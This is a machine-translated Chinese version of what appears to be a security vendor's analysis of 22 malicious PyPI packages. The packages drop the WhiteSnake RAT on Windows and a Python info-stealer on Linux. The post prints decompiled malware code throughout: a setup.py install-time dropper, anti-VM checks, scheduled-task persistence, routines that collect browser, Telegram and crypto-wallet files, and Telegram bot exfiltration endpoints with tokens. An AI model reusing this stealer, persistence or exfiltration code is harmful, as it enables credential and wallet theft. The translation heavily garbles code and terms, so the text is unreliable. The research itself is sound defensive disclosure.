新的。net恶意软件“WhiteSnake”瞄准Python开发者,使用Tor进行C&C通信

的JFrog安全研究团队最近在PyPI存储库中发现了一个用c#编写的新的恶意软件有效载荷。这并不常见,因为PyPI主要是Python包的存储库,其代码库主要由Python代码或Python程序使用的本机编译库组成。这一发现引起了我们对跨语言恶意软件攻击可能性的担忧。
我们的团队发现了22个恶意软件包,包含相同的有效载荷,通过检测当前运行的操作系统来瞄准Windows和Linux系统。特定于windows的有效载荷被确定为最近讨论了白蛇恶意软件具有Anti-VM机制,通过Tor协议,能够从受害者那里窃取信息并执行命令。另一方面,特定于linux的有效负载是一个专注于信息窃取的更简单的Python脚本,它将窃取的数据泄露给电报通过聊天机器人API聊天。
安全研究团队持续监控流行的开源软件(OSS)存储库,如PyPI, NPM和NuGet自动化的工具,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意包。
这篇文章提供了对恶意软件包所使用的有效负载的分析,这些软件包是这次活动的一部分。
已发现的恶意PyPI包
以下包被确定为传播白蛇恶意软件的一部分:
| 包名 | 版本 | 作者 | 发布日期 |
| aeodatav04 | 0.4 | WS | 14.04.2023 |
| aeodata | 0.4 | WS | 14.04.2023 |
| testwhitesnake | 0.1 | WS | 14.04.2023 |
| testwhitesnake123a | 0.1 | WS | 14.04.2023 |
| testwhitesnakemodule | 0.1 | WS | 14.04.2023 |
| test24234 | 0.1 | 你的名字 | 14.04.2023 |
| test23414234234 | 0.6 | WS | 14.04.2023 |
| 测试- 23234231 | 0.1 | WS | 14.04.2023 |
| tiktokthon | 0.1 | WS | 17.04.2023 |
| androidspyeye | 2.5 | WS | 17.04.2023 |
| support-dev | 7.8 | WS | 17.04.2023 |
| support-hub | 0.8 | WS | 18.04.2023 |
| social-checker | 7.2 | develepor_pyton_telethon | 19.04.2023 |
| 拾荒者 | 3.5 | develepor_pyton_telethon | 20.04.2023 |
| aeivasta | 0.3 | santic12 | 20.04.2023 |
| scrappers-dev | 4.1 | develepor_pyton_telethon | 21.04.2023 |
| detection-telegram | 5.6 | develepor_pyton_telethon | 21.04.2023 |
| parser-scrapper | 7.2 | develepor_pyton_telethon | 22.04.2023 |
| pandirequests | 0.1 | 巴西 | 22.04.2023 |
| panderequests | 0.1 | 巴西 | 22.04.2023 |
| libidrequest | 0.4 | 巴西 | 23.04.2023 |
| pandarequest | 0.1 | 葡萄牙 | 23.04.2023 |
恶意载荷技术分析
建造者
我们认为,这个恶意活动的Windows有效载荷,我们确定为白蛇恶意软件,是使用可以在暗网恶意软件交易平台上购买的构建器构建的。如下图所示,构建者收到一个Telegram bot令牌和一个帐户聊天ID,然后被WhiteSnake恶意软件用来发送信标和保持活动消息。它还允许选择用于日志和泄漏数据的加密方法,无论是RC4还是RSA和RC4的组合。
白蛇的建造者
初始滴管
恶意包使用Python包的setup . py文件,该文件在安装期间执行,以便确定应该执行哪个有效负载。在将包安装到受害者的机器上之后,它确定正在其上运行的操作系统的类型,并执行相应的有效负载。如果软件包安装在Windows系统上,则执行WhiteSnake恶意软件。如果受害者是Linux主机,则会执行恶意Python脚本。正如我们在下面的图片中看到的,在这两种情况下,有效负载在执行之前都是base64解码的
如果'sdist'不在argv: if name == 'nt': exec(b64decode('CmltcG9ydCB…'))# Windows有效载荷else: exec(b64decode('Vz0ndXRmLTgnC…'))# Linux有效载荷
恶意软件包的setup.py
让我们更详细地回顾一下每个有效负载的功能。
Windows负载:WhiteSnake恶意软件
Windows负载是一个用c#编写的远程访问工具(RAT)。我们使用dnSpy,一个。net反编译器和编辑器工具,用于反编译此。net可执行文件并手动分析它。这个工具不仅提供反编译,而且还允许编辑应用程序的字节码。这在本例中非常方便,因为该示例包含混淆技术,例如代码实体名称乱置和字符串编码,通过编辑应用程序的字节码可以绕过这些技术
手动去混淆代码
该恶意软件的主要功能可以分为四类:
- 反调试和反分析
- 持久性
- 信息收集和凭证窃取
- 使用Tor与命令和控制服务器通信
反调试和反分析(混淆)
白蛇恶意软件是另一个罕见的PyPI攻击有效载荷的例子,它采用反调试技术,以确保自身的安全,与我们研究小组之前发现的有效载荷相似。第一个函数是ProtectionUtils.antiVM ()它会检查系统的制造商,确保它不在黑名单上。它通过查询制造商和模型默认属性根/ CIMV2WMI名称空间。然后,它将上述属性的值与恶意软件希望避免的可能制造商和型号的黑名单进行比较,以逃避可能的分析
List List = new List {"virtual", "vmbox", "vmware", "virtualbox", "box", "thinapp", "VMXh", "innotek gmbh", "tpvcgateway", "tpautoconnsvc", "vbox", "kvm", "red hat"};
反调试例程中使用的虚拟机制造商列表
using (managentobjectsearcher managentobjectsearcher = new managentobjectsearcher ("root\CIMV2", "SELECT * FROM Win32_ComputerSystem")) {foreach (managentobjectsearcher中的managentobject . get ()) {managentobjectget ();foreach (strArray中的字符串str) {if (managentobject ["Manufacturer"].ToString().ToLower().Contains(str) || managentobject ["Model"].ToString().ToLower().Contains(str)) {flag = true;打破;}
使用WMI查询系统的制造商和型号
之后,恶意软件会验证系统上是否运行了调试器,或者是否与研究工具(如信息记录(SbieDll.dll),HTTP调试器(HTTPDebuggerBrowser.dll),FiddlerCore(FiddlerCore4.dll)或RestSharp(RestSharp.dll)被注入恶意软件进程。如果检测到任何调试机制,恶意软件将以一些传统的恶意软件脏话终止。
if (VMPresent ||调试器。IsAttached || Debugger.IsLogging() || ProtectionUtils.GetModuleHandle(" shiedll .dll") !0 || ProtectionUtils.GetModuleHandle("HTTPDebuggerBrowser.dll") != IntPtr。零|| ProtectionUtils.GetModuleHandle("FiddlerCore4.dll") != IntPtr。零|| ProtectionUtils.GetModuleHandle("RestSharp.dll") != IntPtr。Zero || ProtectionUtils.GetModuleHandle("Titanium.Web.Proxy.dll") != IntPtr.Zero){控制台。WriteLine(“F * * k !”);Environment.Exit (5);}
反调试功能的操作方式
值得一提的是,恶意软件有两个几乎相同的反调试例程。第一,Antianalysis.antiVM (),一开始就执行,另一个,Program.detectVM (),在它之后只运行几个指令。
ProtectionUtils.antiAnalysis ();ProtectionUtils.dropStartup ();尝试{ServicePointManager。安全Protocol = SecurityProtocolType.Tls12; } catch (Exception ex) { Console.WriteLine(ex.Message); } if (Constants.uc == ProtectionUtils.decodeString("@", "qZAZ", "lOqR") && pE.detectVM())
这些例程具有随后执行的几乎相同的功能,位于两个不同的类中。我们假设第一个反调试例程是由一个“恶意软件构建器”注入的,攻击者用它来混淆生成的WhiteSnake二进制文件。
恶意软件的反分析混淆相对简单。它搅乱变量名和编码所有字符串常量,使人工分析的恶意软件更难,并防止静态检测,即与Yara规则。所有变量、类和方法的名称都是不可读的,字符串使用下面的例程-进行编码
public static string decodeString(string A_0, string A_1, string A_2) {string text = string. empty;For (int I = 0;i < 0. length;我+ +){文本+ = (A_0[我]^ (A_1 + a₂)[我% (A_1 + a₂). length]) .ToString ();}返回文本;}
字符串混淆例程
我们复制了相同的例程并用它来解密所有的字符串,同时根据类和方法的功能给它们命名。
在受害者身上获得持久性
当恶意软件运行了反调试机制,确保了运行环境的安全性后,它就开始关注持久性。恶意软件通过添加一个计划任务来实现这一点,该任务将在将恶意软件的可执行文件复制到文件夹后每分钟启动一次% localappdata % \净。框架。正如我们在下面的示例中所看到的,计划任务将使用默认限制运行级别权限,以防受影响的用户没有以管理员权限执行恶意软件
bool is_admin = new windowsprprincipal (WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);string location = Assembly.GetEntryAssembly().Location;string fake_dir_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), " . NET.Framework");string malware_path =路径。结合(fake_dir_path Path.GetFileName(位置));if (!Directory.Exists(fake_dir_path)) {Directory.CreateDirectory(fake_dir_path);} if (!File. exists (malware_path)){文件。Copy(location, malware_path, true);新FileInfo (malware_path)。IsReadOnly = true;StringBuilder StringBuilder = new StringBuilder();stringBuilder。Append("/C chcp 65001 && "); stringBuilder.Append("ping 127.0.0.1 && "); stringBuilder.AppendFormat("schtasks /create /tn \"{0}\" /sc MINUTE /tr \"{1}\" /rl {2} /f && ", Path.GetFileNameWithoutExtension(location), malware_path, is_admin ? "HIGHEST" : "LIMITED"); stringBuilder.AppendFormat("DEL /F /S /Q /A \"{0}\" &&", location); stringBuilder.AppendFormat("START \"\" \"{0}\"", malware_path); using (Process.Start(new ProcessStartInfo { FileName = "cmd.exe", Arguments = stringBuilder.ToString(), WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = true })) }
信息收集和凭证窃取
当恶意软件完成所有准备工作后,它会使用私有地址将有关受感染机器的初始信息发送给攻击者电报闲谈,聊天
这些信息包括:
| 截图 | 软件运行时的用户屏幕截图 | |
| 用户名 | 激活用户名 | |
| Compname | 机器名称 | |
| 操作系统 | 操作系统版本 | |
| 标签 | 常量值,总是" default " | |
| 知识产权 | 从请求获取到https://ip-api.com的外部IP地址 | |
| 屏幕大小 | 屏幕分辨率 | |
| GPU | 受感染系统上使用的硬件信息 | |
| CPU | 受感染系统上使用的硬件信息 | |
| 内存 | 受感染系统上使用的硬件信息 | |
| 阀瓣 | 受感染系统上使用的硬件信息 | |
| 制造商 | 受感染系统上使用的硬件信息 | |
| 模型 | 受感染系统上使用的硬件信息 | |
| 灯塔 | 洋葱节点的地址(下面解释) | |
| 执行时间戳 | 系统时间 | |
| LoadedAssemblies | 加载到进程中的dll | |
| RunningProcesses | 受感染系统上运行的进程 | |
| 文件 | 恶意软件查找包含金融服务认证数据的文件,并将其发送到服务器 |
恶意软件将所有收集到的数据序列化为XML格式,使用gzip压缩,使用对称的RC4加密加密,并且可以选择不对称地使用RSA加密算法。在这种情况下,只有拥有私钥的攻击者才能访问被盗的信息。
WSR $ < ?xml version="1.0" encoding="utf-16"?>
最后,打包和加密的数据被发送到预定的Telegram聊天,其通过api进行通信的令牌已被编译到恶意软件中。
电报上收到的泄露数据
除了上述信息外,恶意软件还发送了一个名为“Beacon”的参数。该参数是服务器在Tor网络中的地址,对应于我们将在本文的下一部分中讨论的功能。
攻击者总是希望泄露敏感文件,这种恶意软件也不例外。泄露数据的“
- 吃嫩叶的动物: Mozilla\Firefox、Thunderbird、Google\Chrome、Vivaldi、CocCoc\Browser、CentBrowser、bravesoft \Brave-Browser、Chromium、Microsoft\Edge。
- 应用程序: WinSCP, CoreFTP, Windscripe, Filezilla, AzireVPN, Snowflake, Steam, Discord, The bat, Foxmail, Signal, Pigdin, Telegram。
- 加密的钱包:Atomic, Wasabi, Binance, Guarda, Coinomi, Bitcoin, Electrum, Electrum- ltc, Zcash, Exodus, Jaxx, Metamask, Ronin, BinanceChain, Tronlink, Phantom。
加密货币抓取器配置
使用Tor与命令和控制服务器通信
该恶意软件的另一个有趣(而且相当罕见!)的特性是使用洋葱路由用于接收来自C&C服务器的命令。Tor通过一系列加密节点将互联网流量路由,从而为用户提供了高度匿名性,这使得很难追踪通信的来源。这为攻击者提供了一个显著的优势,帮助他们在执行活动时保持匿名并逃避检测。此外,Tor的端到端流量加密可能会阻止流量分析,并且可以绕过一些防火墙配置。但是,通信的实现和初始设置比其他类型的C&C更复杂,因此使用Tor的情况相对较少。在初始设置时,恶意软件从Tor项目现场,解包它,并开始使用带有自定义(torrc)配置的洋葱路由
…SOCKSPort torPort + 1 # Tor将监听来自Tor控制器应用程序的本地连接的端口ControlPort torPort + 2 DataDirectory # HiddenServicePort x y:z表示将端口x上的请求重定向到地址y:z。HiddenServiceDir HiddenServicePort 80 127.0.0.1:torPort HiddenServiceVersion
恶意软件使用的torrc文件
此配置中的torPort变量是应用程序每次重新启动时在2000到7000之间随机选择的一个数字。它还可以隐藏恶意软件,因为使用默认的Tor端口可能会触发检测软件,防火墙等。
一旦Tor成功安装并在受害者身上执行,并将其地址发送给攻击者,传入的Tor流量就会被重定向到恶意软件,允许攻击者匿名控制受感染的机器。
对受感染计算机的控制是通过特殊协议实现的,该协议支持以下命令:
| 命令 | 描述 |
|---|---|
| 平 | 发送字符串" >>PONG "到服务器 |
| 卸载 | 停止该恶意软件创建的所有进程、服务和任务,并擦除所有文件。用于覆盖活动和强化事件响应。 |
| 刷新 | 发送有关系统的服务器信息(结构与初始发送信息相同)。 |
| 截图 | 获取用户屏幕的截图,并将其发送到服务器。 |
| GET_FILE | 将文件从服务器下载到给定位置。 |
| 加载程序 | 执行从服务器接收到的任意命令。 |
| 文件路径 | 将受感染计算机上的任意文件上传到服务器。 |
上传任何文件和运行任何命令的能力与恶意软件开发人员使用的规避技术相结合,使恶意软件非常危险,有效地允许攻击者完全控制受感染的机器。
Linux版本(Python)
与Windows WhiteSnake有效负载不同,Linux有效负载是一个简单得多的Python脚本,具有非常基本的功能。虽然被混淆了(使用未知的混淆器),但它不包含任何反虚拟机或反调试机制,并且专注于信息窃取,特别是针对Mozilla Firefox,加密钱包(如Exodus和Electrum)以及其他不同的程序(如Telegram, Mozilla Thunderbird和Filezilla)和Pidgin。
首先,有效负载收集有关受感染机器的基本信息,包括用户名、计算机名、操作系统以及机器的IP及其ISP的名称,这些信息通过向http://ip-api.com/line?fields=query,isp。该信息存储在一个名为system.json,在恶意软件创建的临时目录中收集即将发送给攻击者的所有数据。
def gather_system_info(): try: http = PoolManager() response = http。请求('GET', 'http://ip-api.com/line?fields=query,isp'),除非HTTPError为e: print(e) ip, isp = '127.0.0.1', '未知'否则:ip, isp = response.data.decode(UTF).strip().split('\n')用于黑名单['google', 'mythic beasts']:如果黑名单在isp.lower(): exit(5)尝试:screenshot_data = BytesIO()如果HAS_PIL:截图= ImageGrab.grab()截图。save(screenshot_data, format='png') screenshot_encoded = b64encode(screenshot_data.getvalue()).decode(UTF) except Exception as e: print(e) screenshot_encoded = " with open(path. png) "join(temp_dir, 'system.json'), 'w') as f: dump({' screen ': screenshot_encoded, 'Username': getuser(), 'Compname': node(), 'OS': platform(), 'Tag': team_name, 'IP': IP, 'ISP': ISP, 'Execution timestamp': time()}, f)
在收集受害者的信息之后,有效负载根据XML配置(类似于本文前一节中讨论的二进制WhiteSnake有效负载的配置)继续从受感染的机器收集敏感信息。
<?xml version="1.0" encoding="utf-8"?> ~/snap/firefox/common/.mozilla/firefox ~/.mozilla/firefox <~/.thunderbird ~/.config/filezilla sitemanager.xml;recentservers.xml Apps/FileZilla ~/.purple accounts.xml Apps/Pidgin ~/.local/share/TelegramDesktop/tdata;~/.var/app/org.telegram.desktop/data/TelegramDesktop/tdata;~/snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata *s;????????????????/map? Grabber/Telegram ~/.electrum/wallets;~/snap/electrum/current/.electrum/wallets *wallet* Grabber/Wallets/Electrum ~/.config/Exodus exodus.conf.json;exodus.wallet/*.seco Grabber/Wallets/Exodus """
用于处理此配置的函数解析XML并对浏览器目录和其他目录执行不同的操作。对于一般目录,它将根据预定义的名称或模式收集文件。对于浏览器文件夹,收集的文件如下:cookies.sqlite,keys4.db和logins.json。
def process_cmd(commands): ZIP = ". ZIP " if commands.startswith("http"): try: http = G() response = http。request(V, commands) commands = response.data.decode(W).strip() except I: commands = "" xml_tree = M.ElementTree(M.fromstring(commands)) xml_root = xml_tree.getroot() for command in xml_root[0]: command_name = int(command.get("name"))如果command_name == 0: input_paths = expand_paths(command[0][0].text.split(";")) patterns = command[0][1].text.split(";") output_path = os.path。join(tmp_dir, D[0][2].text) for input_path in input_paths: copy_files(input_path, patterns, output_path) elif command_name == 2: for profile_dir in command[0]: for profile_path in expand_paths([profile_dir.text]): for prefs_js_path in S(lambda p: os.path.exists(os.path. exists))Join (p, "prefs.js")), glob.glob(os.path. js .js)。Join (profile_path, "*.*")): browser_name = os.path.basename(os.path.dirname(prefs_js_path)).title() browser_name = browser_name[1:] if browser_name[0] == "." else browser_name output_filename = os.path.basename(prefs_js_path) output_path = os.path. .join(B, "Browsers", browser_name, output_filename) copy_files(prefs_js_path, browser_files, output_path) cmds_out = path.join(tempfile.gettempdir(), secrets.token_hex(8))make_archive(cmds_out, "zip", tmp_dir) shutil.rmtree(tmp_dir) with open(cmds_out + zip, "rb") as i: k = i.read() os。remove(cmds_out + ZIP)返回k
我们可以看到,除了Mozilla Firefox浏览器和Mozilla Thunderbird电子邮件客户端被视为浏览器(可以从命令类型中看到),恶意软件也感兴趣FileZilla,洋泾浜和《出埃及记》和银金矿钱包。
在收集了上述所有信息和文件后,一个包含所有数据的RC4加密包通过POST请求发送给攻击者,使用以下API:hxxps [: / /] api[][]电报org/bot6209822134: AAEHrtHFcGSwPxreBCCquU4vzJrpFtyg2kA / sendDocument吗?chat_id = -1001529292045标题= Linux。
危害指标(ioc)
hxxps [: / /] api[][]电报org/bot6209822134: AAEHrtHFcGSwPxreBCCquU4vzJrpFtyg2kA / sendDocument吗?chat_id = -1001529292045标题= Linux
hxxps [: / /] api[][]电报org/bot6003786791: AAGBP7Kr5UNFj3_RBmspykT4E01xYv3Lk3Y / sendDocument吗?chat_id = 615133582标题=违约
改进了JFrog x射线的检测和修复
作为对此事件的回应,我们已将恶意Python包添加到JFrog x光,以便客户能够立即发现它们。JFrog Xray的定期管理软件包数据库目前包含所有相关生态系统中的超过165K个恶意软件包,并且还在不断增长。

结论
在这篇博文中,我们对使用PyPI开源存储库传播恶意软件的恶意活动进行了深入分析。作为这次行动的一部分,攻击者上传了22个恶意软件包,能够攻击Windows和Linux机器。这些软件包的有效载荷隐藏在安装文件中,是WhiteSnake windows恶意软件,它能够使用Tor与C&C服务器通信,执行命令并从受害者的机器上窃取数据。Linux有效负载是一个更简单的Python脚本,它也专注于窃取数据。
我们的扫描器定期扫描上传到PyPI、NPM和NuGet等存储库的包,检测到该活动。在收到第一个指示并验证这些软件包确实是恶意的之后,我们已经更新了为客户服务的数据库,以便他们可以完全免受此活动的影响,并且我们可以触发警报,以防他们受到这些软件包的影响。
与JFrog安全研究保持同步
关注JFrog安全研究团队的最新发现和技术更新安全研究博客文章并在推特上@JFrogSecurity。